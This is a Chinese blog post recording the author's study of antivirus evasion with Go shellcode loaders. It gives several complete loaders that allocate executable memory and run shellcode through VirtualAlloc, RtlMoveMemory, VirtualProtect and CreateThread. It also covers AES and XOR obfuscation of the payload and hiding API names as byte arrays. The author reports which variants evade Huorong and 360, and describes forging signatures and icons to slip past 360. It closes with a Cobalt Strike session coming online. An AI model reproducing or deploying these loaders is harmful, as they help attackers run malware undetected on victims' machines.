首页 > 其他分享 >go免杀学习记录

go免杀学习记录

时间:2024-08-25 09:04:01浏览次数:8  
标签:免杀 记录 windows uintptr len kernel32 go byte shellcode

题记

  最近剑来动漫上线,虽然观感不如我的预期,感觉节奏过快。但是也是一种进步了,愿各位道友都能找到自己的宁姚。

  "我喜欢的姑娘啊,她眉如远山,浩然天下所有好看的山,好看的水,加起来都不如她。她睫毛轻颤的模样,落在了我的心里。那万年不动的剑气长城,都好像轻轻晃了晃。"                                                                                                                                                           ——烽火戏诸侯 《剑来》

  经过这几天的学习,go语言的shellcode加载器也算入门了一些,火绒把shellcode远程加载就能直接过,360需要做一下icon与签名的伪造,当然做完这些原生的shellcode加载器也能直接绕过火绒。

原始的加载器代码

  实测以下代码编译好的exe可以成功执行,但免杀效果较差,不过我们依然可以学到最原始的shellcode加载器的执行原理,后边免杀也是围绕基础的原理进行各种二开操作的。

  加载使用的模块,输入shellcode,分配内存,然后将shellcode复制到分配的内存中执行。

package main

import (

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows")

func main() {

    code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

注释:

1、包导入

  encoding/hex:用于十六进制编码和解码。

  syscall:用于与操作系统进行低级别的交互。

  unsafe:提供对内存的低级访问。

  golang.org/x/sys/windows:提供与Windows系统交互的功能。

2、解码Shellcode

  使用hex.DecodeString将十六进制字符串解码为字节切片。该操作可能会返回错误,但在这段代码中错误未被处理。

  go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来

  在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组

  例如:

    message := "fc4883e4f0e8c8"就是十六进制字符串

    十六进制字符串string转换成字节数组byteArray

    byteArray, _ := hex.DecodeString(hexString)

    字节数组转换成十六进制字符串

    hexString := hex.EncodeToString(byteArray)

3、加载DLL和查找函数

  加载Windows的kernel32.dll库,该库包含处理内存分配的函数。

  查找VirtualAlloc函数,该函数用于在进程的虚拟地址空间中分配内存。

4、分配内存

  allocSize为要分配的内存大小,单位为字节。

  调用VirtualAlloc分配内存,参数说明:

  0表示操作系统选择内存地址。

  allocSize是要分配的大小。

  windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留内存。

  windows.PAGE_EXECUTE_READWRITE表示分配的内存可执行、可读和可写。

  如果返回的内存地址mem为0,表示分配失败,程序将触发panic。

4、写入shellcode

  使用unsafe.Pointer将分配的内存地址转换为字节数组指针,并创建一个切片buffer,其大小为分配的内存大小。

  将解码后的Shellcode复制到分配的内存中。

5、执行Shellcode

  调用syscall.Syscall来执行Shellcode。第一个参数是Shellcode的内存地址,后面三个参数是传递给Shellcode的参数(此处都为0)。

参数调用加载器

package main

import (
    "encoding/hex"
    "golang.org/x/sys/windows"
    "os"
    "unsafe"
)

const (
    MEM_COMMIT        = 0x1000
    MEM_RESERVE       = 0x2000
    PAGE_EXECUTE_READ = 0x20
    PAGE_READWRITE    = 0x04
)

func main() {
    param := os.Args[1]
    respString := string(param)
    shellcode2, _ := hex.DecodeString(respString)
    data := shellcode2
    /*for i := 0; i < len(data); i++ {
        fmt.Printf("%x", data[i])
    }*/
    //execEnumChildWindows(data)
    kernel32 := windows.NewLazySystemDLL("kernel32")
    //user32 := windows.NewLazySystemDLL("user32")

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    //EnumChildWindows := user32.NewProc("EnumChildWindows")

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
        panic(1)
    }
    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
        panic(1)
    }
    oldProtect := PAGE_READWRITE
    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
        panic(1)
    }
    CreateThread := kernel32.NewProc("CreateThread")
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

  可以看到以上加载器火绒是监测不出来的,但过不了360。

加密方式一-aes加密

  aes加密:

package main

 

import (

"bytes"

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

)

 

// 填充字符串(末尾)

func PaddingText1(str []byte, blockSize int) []byte {

//需要填充的数据长度

paddingCount := blockSize - len(str)%blockSize

//填充数据为:paddingCount ,填充的值为:paddingCount

paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount)

newPaddingStr := append(str, paddingStr...)

//fmt.Println(newPaddingStr)

return newPaddingStr

}

 

// ---------------DES加密--------------------

func EncyptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

src = PaddingText1(src, block.BlockSize())

blockMode := cipher.NewCBCEncrypter(block, key)

blockMode.CryptBlocks(src, src)

return src

}

 

func main() {

 

shellcode := []byte{}

str := base64.StdEncoding.EncodeToString(shellcode)

 

//密钥长度16

key := []byte("AofqwwWicshoiqQq")

src := EncyptogAES(str, key)

message := base32.HexEncoding.EncodeToString(src)

fmt.Println(message)

}

  aes解密:

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

    message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

str := string(DecrptogAES(aesMsg, key))

sc, _ := base64.StdEncoding.DecodeString(string(str))

code := string(sc)

 

加密方式二-xor混淆

  xor加密:

// XOR 操作

xordMessage := make([]byte, len(str))

for i := 0; i < len(str); i++ {

xordMessage[i] = str[i] ^ 0xff

}

  xor解密:

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

内存加载方式一

code := ""

 

    decode, _ := hex.DecodeString(code)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")

    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

 

    // 分配内存并写入 shellcode 内容

    allocSize := uintptr(len(decode))

    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

    // 执行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

 

内存加载方式二

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

 

内存加载方式三

    code := string(sc)
    decode, _ := hex.DecodeString(code)
    var (
        a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
        c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))
    )

    allocSize := uintptr(len(decode))
    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decode)


    syscall.Syscall(mem, 0, 0, 0, 0)

 

内存加载方式四-失败

  ntdll.dll的加载执行没成功过,不知道原因。

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

)

 

var (

kernel32      = syscall.MustLoadDLL("kernel32.dll")   //调用kernel32.dll

ntdll         = syscall.MustLoadDLL("ntdll.dll")      //调用ntdll.dll

VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数

RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")   //使用ntdll调用RtCopyMemory函数

)

 

func checkErr(err error) {

if err != nil { // 如果内存调用出现错误,可以报出

if err.Error() != "The operation completed successfully." {

println(err.Error())

os.Exit(1)

}

}

}

 

运行失败1,参考https://github.com/YGYoghurt/Go-shellcode--:

shellcode, err := hex.DecodeString(deStrBytes)

 

// 调用VirtualAllo申请一块内存

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if addr == 0 {

checkErr(err)

}

// 调用RtlCopyMemory加载进内存当中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))

_, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))

checkErr(err)

 

//syscall来运行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)

运行失败2,参考https://github.com/hhuang00/go-bypass-loader/tree/main:

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'}))

)

 

addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

_, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

syscall.Syscall(addr, 0, 0, 0, 0)

示例加载器一

  以下代码感觉内存分配执行的方式烂大街了,火绒都过不了,需要改一下。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值  

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    decode, _ := hex.DecodeString(code)

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

)

 

    allocSize := uintptr(len(decode))

    mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

    if mem == 0 {

        panic("VirtualAlloc failed")

    }

    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

    copy(buffer, decode)

 

 

    syscall.Syscall(mem, 0, 0, 0, 0)

}

示例加载器二

  以下代码可直接过火绒,但是360能够查出来。

package main

 

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

    "encoding/hex"

    "syscall"

    "unsafe"

 

    "golang.org/x/sys/windows"

)

 

const (

MEM_COMMIT             = 0x1000

MEM_RESERVE            = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

PAGE_EXECUTE_READ = 0x20

     PAGE_READWRITE    = 0x04

)

 

// 去掉字符(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

 

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

 

 

func main() {

//message的值为先混淆然后aes加密后的值    

message := ""

 

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

 

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

 

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

 

 

 

code := string(sc)

    shellcode, _ := hex.DecodeString(code)

 

    data := shellcode

    /*for i := 0; i < len(data); i++ {

        fmt.Printf("%x", data[i])

    }*/

    //execEnumChildWindows(data)

    kernel32 := windows.NewLazySystemDLL("kernel32")

    //user32 := windows.NewLazySystemDLL("user32")

 

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")

    VirtualProtect := kernel32.NewProc("VirtualProtect")

    //EnumChildWindows := user32.NewProc("EnumChildWindows")

 

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

        panic(1)

    }

    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

        panic(1)

    }

    oldProtect := PAGE_READWRITE

    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

        panic(1)

    }

    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

过360和火绒的简便方法

  借用大佬的一段话:“想告诉大家,有时候落地无很可能不是代码问题就是特征匹配上了,使用工具或者是修改VS编译配置,相当于改头换面,换了个hash让他比对不上,就能过了。”

  我们可以看到,示例加载器1和2是都过不了360的,但我们通过工具批量伪造签名和icon可以让360短时间查不出来。

  批量生成:

  360查完还剩下30多个:

  对单独的进行扫描,360未发现异常:

  成功上线cs:

参考文章

  go实现的shellcode免杀加载器,实测可过火绒,360:https://github.com/hhuang00/go-bypass-loader/tree/main

  go实现免杀(实用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0

  老生常谈杀软特性 免杀数字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww

  Golang写的shellcode免杀加载器思路:https://github.com/YGYoghurt/Go-shellcode--

标签:免杀,记录,windows,uintptr,len,kernel32,go,byte,shellcode
From: https://www.cnblogs.com/sunny11/p/18378655

相关文章

  • Study Plan For Algorithms - Part11
    1.合并两个有序链表题目链接:https://leetcode.cn/problems/merge-two-sorted-lists/将两个升序链表合并为一个新的升序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。classSolution:defmergeTwoLists(self,list1:Optional[ListNode],list2:Option......
  • 勇夺三项SOTA!北航&爱诗科技联合发布灵活高效可控视频生成方法TrackGo!
    论文链接:https://arxiv.org/pdf/2408.11475项目链接:https://zhtjtcz.github.io/TrackGo-Page/★亮点直击本文引入了一种新颖的运动可控视频生成方法,称为TrackGo。该方法为用户提供了一种灵活的运动控制机制,通过结合masks和箭头,实现了在复杂场景中的精确操控,包......
  • 基于Android的运动记录APP设计与实现(论文+源码)_kaic
      摘要随着人们生活水平和生活质量的提高,人们越来越关注自己的身体健康。而跑步成为人们最受欢迎的运动方式,运动软件可以在人们锻炼身体的时候提供极大的帮助。本文针对运动轨迹和计步,设计一款基于Android平台的运动软件。本系统通过使用百度鹰眼、重力传感器和数据库技术......
  • AtCoder Beginner Contest 368 补题记录(A~D,F,G)
    被伟大的G创似辣。Asignedmain(){intn,k;cin>>n>>k;F(i,1,n)cin>>a[i];queue<int>stk;G(i,n,1)stk.push(a[i]);while(k--){intt=stk.front();stk.push(t);stk.pop();}stack<int>......
  • Go 编程-mysql数据库操作
    一、环境准备在Go语言中连接MySQL数据库通常使用database/sql包配合一个MySQL驱动,比如github.com/go-sql-driver/mysql安装github.com/go-sql-driver/mysqlgogetgithub.com/go-sql-driver/mysql二、连接及增删改查packagemainimport( "database/sql" "fmt" "log"......
  • GO中的RPC
    RPC是什么RPC是远程过程调用的简称,是分布式系统中不同节点间流行的通信方式。它允许客户端程序调用位于远程计算机上的服务器程序上的方法或函数,就像调用本地程序一样。简单使用服务端RPC方法只能有两个可序列化的参数,其中第二个参数是指针类型,并且返回一个error类型,同时......
  • golang RSA 解密前端jsencrypt发送的数据时异常 crypto/rsa: decryption error 解决方
    golang中RSA解密前端(jsencrypt)发来的密文后出现 "crypto/rsa:decryptionerror" ,这个问题首先需要确认你的私匙和公匙是否匹配,如果匹配那检查入参数据类型,前端发送来的rsa加密后的数据一般都是经过base64编码后的,在后端进行RSA解码时需要对前端发送的数据进行base64......
  • RabbitMQ 从原理到实战—golang版本
    1.MQ1.1概念MQ(MessageQueue,消息队列)是一种用于在分布式系统中实现消息传递和异步通信的技术。它充当了发送方和接收方之间的中间人,用于在应用程序或服务之间传递消息。MQ允许系统中的不同组件彼此独立运行,而无需直接通信或相互依赖,从而提高系统的可扩展性、可靠性和灵......
  • 使用Appium执行自动化测试遇到的问题记录
    ‌Appium‌是一个开源的移动端自动化测试框架,它支持原生的、混合的以及移动端的web项目测试,并且能够测试iOS和Android应用程序。在使用中有时会遇到问题,特此记录:问题一:设备:Android一加问题描述:adb连接成功,执行测试脚本时AppiumDesktopsession报如下错误:settingsdeleteg......
  • Google 免费 AI课程
    Google免费AI课程1.生成式人工智能45分钟的课程,解释什么是生成式AI、如何使用它,以及GoogleToolsforGenAI应用程序。完成课程即可获得徽章并展示您的技能!课程链接:https://cloudskillsboost.google/course_templates/5362.大型语言模型简介完成本课程后,您将:-获得对L......